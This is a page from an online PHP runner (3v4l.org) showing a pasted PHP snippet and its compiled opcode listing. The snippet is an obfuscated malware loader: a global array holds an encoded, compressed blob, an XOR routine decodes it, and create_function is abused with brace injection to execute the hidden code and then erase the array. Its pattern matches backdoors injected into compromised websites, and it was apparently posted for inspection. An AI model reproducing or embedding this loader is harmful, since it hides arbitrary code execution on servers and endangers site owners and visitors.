3v4l.org

run code in 300+ PHP versions simultaneously
<?php global $bdupqiol; $bdupqiol=array('$bdupqiol[0]=$bdupqiol[3];$xzwtfpbd=xzwtfpbd(7,13);$bdupqiol[0]=$xzwtfpbd($bdupqiol[2]);','$bdupqiol[2]=gzuncompress(xzwtfpbd(675,2157));','Q2ZlbUh/Z3BuZ2h4e11xYXZIdmB8b31ZYXR2aGtid2dgY31Mf2ViYH55RnpWS0JXVkBOS0RFUVlDSVVWQ0ZfUm1GYmFrbnByfm9tfXtjf31CR21sYThhY2pme3tsUnhsdDslNzk9dXRCSnVsRSFCQTBpU3FXZT56fE1BTlV7TTJTWU1gQ3xAY3xBT2xiZ39wZ3FFak5oZGtwYGcvant/f2AnaHJua34vdWVsY3F1Yztif2RxaHsgfXZiZmFrZkFIR19QR19gbWJ6dHxzUDUkK0JHX1BHU0pLQE5WaG1qd3I6Nlt3f3R/a2khZmlmZGo8f2dodnljTEokcl1OVUJJUVBMT0VZQ1VtRkRcSFZeXFZbXVtaVUthXl5BRVVdV0dIXl5IVnFLMEtMIG9hYSNxbH5jViB/aWcjLGJ8dGM9emJja0FQdCB/aWcjLE1QXzplYWVyd0VbRlR2eG1bTklHSUtVbVtGVFNFUEx0WFdJYSB/aWdDbmN6e2h4bWZbZ3dnT2tleGxCV3JVTHtmdEpYeHspdGNscHZ0Yz96fGZ8Zmt4dGZ4eyl0Y2xwdnRjP2xtaXtiQU9lYWlkdnRpZlt3c2UhbEp4dmVvIWdrcGpIQmh4S2pQd0dfUEdTV1dWSEhRSElER2F5c1BvVm5RSnZVajkqdmJjaGpufnNueGVhKWxkaWk6KnZ+ZWF9bmJ9IXx9UUFyd20/KnVjYGV/c3R1IW9lfmp1IHx0Om9tanVzcD5/ZHoscjIpYDkpfzlnZHIiYycpfTloUVNsfnZ7U3Fscz5hZ39wZzYtK0spfDlxa2FxZlBmZW1jTk58bnB4fHZMamUpfDl0eUlCWVRMbWpzYXRlTWJkKXw5ZGciTEdORz8+IjpDbklyR2R3YzYidmZRb00gd5eJT3Vt7lsI6DoSyDYK3k6/C5ktnCFp2ftU9CqDYYu7cZdS7AE/C8HP9oP+1'.'7SttIaf/OH+gWJPwE2wpnz7FOrB8es89Fi2rOE2rDzEQMgmmajBZH6UA/LpInmGOppA0S3InFDb6MWfiF5Tqa9BqtxLslYUhafPMXNKWK9cUKSC9R29oqlpnoAavQroRdEKp8MZwozRWW3gj3h5WJd5U+jf1i8+cLdqCnr2tp9z/E0y/RM8e6eVqYW7DHjbKgyjkfH9OwLvvoR2qnjiodc7jZKzjLlD3NzErlj6th8woJoyxbbmWgNZZj3LXq2ZF93UJ3o5UjyiEVpcg2o+B8nXtnqg2UDZEZ0kmMkHyLKVY7uSkYJNqXWjH6znGgLqXN/kP4cTYVJmlQSNlhA288I3KePblFEZOEEvCuKiHEgvWuGZgUsOxE1Ay+LBeO8Ta9CWrBzh+B9xMpNdmXB6/bpjWfRpFc+hvwEkf/tU4vg7ESDzbObuX+fPWtppcPrJIgP8CKx6Awv75C0I0H+fRTCqqOCtKQsjB6/5Ae4Pfo6mv//gwWHC5rMe2qEgxuKVXT+0t9/CJbht5i8xybfg7XKpT76C985wvtDbDU7dJXJVX18wFLsTi+SlgD9SKPgY9wSDCKrP4B69EMQiw/jhEM1akeRyulqMZ5YWdBHpGQsNQw1KGSF8I1EC5svk4ObD68Bwzs3ZvkPFRa8DzGuPPnC5bmcfpbqycadz8EEksqF8u2EuosyEbuxRt7S5+qlq4ltcy2U1jlu2WlQvWt1L3rYLAG'.'ysJkbfUIXXrm6DwvfSyOScCyq3LI6DKljnzghFilk8Urvtugj+xQo8vbvSGjiCLJRfq8wM1ynemlEGOTsv2L0Snl4bqT3LgyEnLgMHxCUIfFuZoFjYN6YELUCA8OchKIenv1RZsaP6d5mv0dQDG3B2P/ehNXr+/Ptck4N/WHHnSMKjbxccJVpCEANMF5DDwwBBEfFhNM0dmxfVcRsozBdpTJ2ASmHDQFTPpT0p0PIuGZpLn7lwcSIxoxfuDYE74Qqgea1EgH15hV4eW4ykYFFD/sFb51RTn9QUgUIloqnWXqYK0402zQpXrcFpuack2bcAWoN3l2l0VpRx0j6OepijsU5n6QfVMy0TSuqvFuBANINC74qCfuNqag0Kx//FKcRCbNGwrmbkJxj9ztC/WebCzNsISw3LXsuRXd5/UlzeZZCpsVxNu80nGq+xMDbuEGN0uGq2h8PtM83X4J9Xd7xuHYsWV0SnzPSpHUivTEDPjhhFCUrbBhfEpb6c517Gpnprn4'.'bSG1mGrGx8TJ6InBJAUGgmNhV5AMjAI69v1N2V+h1RvtUEnPPu9u2QHhsdTGiEbEtj+RiCrGKFeSEkRnXPW3EULUvn+MdDTuC2oMJh9FZHrBzIogcElEWg/QVrco8Qbv9gN/js1gPS2o54fDCHi8Rl3ZfYwxuoKgfaAm0bMp11CYg8MANVvlaTKMSYdnO72Y1KjZsBARGXkL4AAzyNYr7lqwBWvKZuSmOZ+DbRJHSAlY2xVSk0lYJVGp8jfR/tp2IaFOda/goYN+c1HXLB2CMEnD7nbuCe/D8b98DC6CNoEci6DzKczfYS2bXLnU0vsoS3yo5x2yAac1vDkLZpf8D7NlQ5GMZzl1wXUYVsNBFSSBMc+mAtK0081EMltzMsTF/hrei8osEHcFpUhcRj9L2hY/7eJibkKQLDY4MZ/0hfJJu0dPGu0lvWAHTrSbwC0sQEk/zi++71rX3xpp68FFlHtLkeipZkv2KCVtxmWAHtE5d5z75FM3O0AGG+XsPYXqhQqoaz6kpr7ysjMS3onr7DYFuuFm+dggkyHIKgxywxRbf7E1eZV2RrycL+Q0Z'.'1zNpjcEqnXiypIXC/n6Q/lU14DK8zcrtn8KFD1m+xktLxde0lj/6v76Xm0o1rtcQ3LJUHWYR9SlcKeZWeFPrGD9MscAomIeoKmYD87znZol2mGuVP79ncjo0ptSj40PmHnKG15UuBL89ESfqyuyoXiKkBT73Ok7QeaNzq273ImIDzSoIgkiv0b2LKvJiBxjpigLqgWm8WvpVLLfJ6Uvcopc1u7QVVwHuXH7Wyjhw4g7fWHnpfK4E/e1Fa85xqGiq6517jp8XYz+uSrLZUX+CONN3YNgubyIoTOLdSSbgHCs2WWQE00bnQk1WXbrq/dTI2th7Zil08XYevTbtd+mFYRwsBzhRgFq2EHm8bbb81CaNi4Xa6aZnUvFgpQp+FCYTtGjQm4S1fvSHLXQmcR9y2A8dgHRi4clekST2d3G60jGVyzs7Nl2ImPbnVbUszseOCZb2q18FBmCJ9j+XJQCQXT4EAx51ko9l+p6h5enIUieoXmEJRrl3RQx28BzntJ6LM22HmsXUpRdUllnconm7HqUGm6Ftuz88jWh4OMyz8NZmqQDfVPS5wRdoVDx3mhu9ZgBPh6e/ArZDXmB32WyLcWCnc3jKL9oQwDKU2Gj0QP4ld7lAW/ujq4cfuH/Hbc57sbe/++HDs6GNr8PAR49UQ+npqtL2Dduvy/oDtyfgM14xx/yvuv9GTwLbOoiV/9yJrhrFcy4aoDpuqE6Tkgm/l9l+JLF7VICVJvmwk+T15kOszTwpOffHWLyj+HGM2KDPPVCcd3DqZ43umezhYxVh2Drpnd7x77uwaISlRaDqTuOQeS1HKg9vacF1Ry94l6m5ojzYle2umQsSnjvgrP/trNxyZ1J+qzOslN/l/I+JXJVYHoAMmxWnha+d/c8y30NPAqnir0ggsmX5MEZ9V+V8Ig31AGzwsj+OJ4OoHW7moCB+EmVCd5ajLBi9y5EzaG6V8XcX66ihuc+8sStfF7tKG'.'V7rg/Gn39MXoOyaoTExDbWp3cjo2W3d/dH9raWlwRA==',"/*vxyef\x6d\x6a\x77\x72\x3a\x36\x5b\x77\x7f\x74\x7f\x6b\x69*/");$pnyayhd='create_';if(function_exists($pnyayhd.='function')&&!function_exists('xzwtfpbd')){ function xzwtfpbd($w,$s){global $bdupqiol;$q=str_pad("",$s,"okdwlbdszwpoljsg");$i=str_repeat("\x1f",$s);$j=str_repeat("\xe0",$s);$o = substr($bdupqiol[0],$w,$s);return(($o^$q)&$i)|($o&$j);};for($ah=-1;++$ah<3;){$pnyayhd('','}'.$bdupqiol[$ah].'{');}};unset($bdupqiol);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 8, Position 2 = 13
Branch analysis from position: 8
2 jumps found. (Code = 43) Position 1 = 14, Position 2 = 27
Branch analysis from position: 14
1 jumps found. (Code = 42) Position 1 = 24
Branch analysis from position: 24
2 jumps found. (Code = 44) Position 1 = 27, Position 2 = 17
Branch analysis from position: 27
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 17
2 jumps found. (Code = 44) Position 1 = 27, Position 2 = 17
Branch analysis from position: 27
Branch analysis from position: 17
Branch analysis from position: 27
Branch analysis from position: 13
filename:       /in/COi6F
function name:  (null)
number of ops:  29
compiled vars:  !0 = $bdupqiol, !1 = $pnyayhd, !2 = $ah
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   BIND_GLOBAL                                              !0, 'bdupqiol'
          1        ASSIGN                                                   !0, <array>
          2        ASSIGN                                                   !1, 'create_'
          3        INIT_FCALL                                               'function_exists'
          4        ASSIGN_OP                                     8  ~5      !1, 'function'
          5        SEND_VAL                                                 ~5
          6        DO_ICALL                                         $6      
          7      > JMPZ_EX                                          ~7      $6, ->13
          8    >   INIT_FCALL                                               'function_exists'
          9        SEND_VAL                                                 'xzwtfpbd'
         10        DO_ICALL                                         $8      
         11        BOOL_NOT                                         ~9      $8
         12        BOOL                                             ~7      ~9
         13    > > JMPZ                                                     ~7, ->27
         14    >   DECLARE_FUNCTION                                         'xzwtfpbd'
         15        ASSIGN                                                   !2, -1
         16      > JMP                                                      ->24
         17    >   INIT_DYNAMIC_CALL                                        !1
         18        SEND_VAL_EX                                              ''
         19        FETCH_DIM_R                                      ~11     !0, !2
         20        CONCAT                                           ~12     '%7D', ~11
         21        CONCAT                                           ~13     ~12, '%7B'
         22        SEND_VAL_EX                                              ~13
         23        DO_FCALL                                      0          
         24    >   PRE_INC                                          ~15     !2
         25        IS_SMALLER                                               ~15, 3
         26      > JMPNZ                                                    ~16, ->17
         27    >   UNSET_CV                                                 !0
         28      > RETURN                                                   1

Function %00xzwtfpbd%2Fin%2FCOi6F%3A1%240:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/COi6F
function name:  xzwtfpbd
number of ops:  32
compiled vars:  !0 = $w, !1 = $s, !2 = $bdupqiol, !3 = $q, !4 = $i, !5 = $j, !6 = $o
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
          0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        BIND_GLOBAL                                              !2, 'bdupqiol'
          3        INIT_FCALL                                               'str_pad'
          4        SEND_VAL                                                 ''
          5        SEND_VAR                                                 !1
          6        SEND_VAL                                                 'okdwlbdszwpoljsg'
          7        DO_ICALL                                         $7      
          8        ASSIGN                                                   !3, $7
          9        INIT_FCALL                                               'str_repeat'
         10        SEND_VAL                                                 '%1F'
         11        SEND_VAR                                                 !1
         12        DO_ICALL                                         $9      
         13        ASSIGN                                                   !4, $9
         14        INIT_FCALL                                               'str_repeat'
         15        SEND_VAL                                                 '%E0'
         16        SEND_VAR                                                 !1
         17        DO_ICALL                                         $11     
         18        ASSIGN                                                   !5, $11
         19        INIT_FCALL                                               'substr'
         20        FETCH_DIM_R                                      ~13     !2, 0
         21        SEND_VAL                                                 ~13
         22        SEND_VAR                                                 !0
         23        SEND_VAR                                                 !1
         24        DO_ICALL                                         $14     
         25        ASSIGN                                                   !6, $14
         26        BW_XOR                                           ~16     !6, !3
         27        BW_AND                                           ~17     !4, ~16
         28        BW_AND                                           ~18     !6, !5
         29        BW_OR                                            ~19     ~17, ~18
         30      > RETURN                                                   ~19
         31*     > RETURN                                                   null

End of function %00xzwtfpbd%2Fin%2FCOi6F%3A1%240

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
175.92 ms | 1400 KiB | 21 Q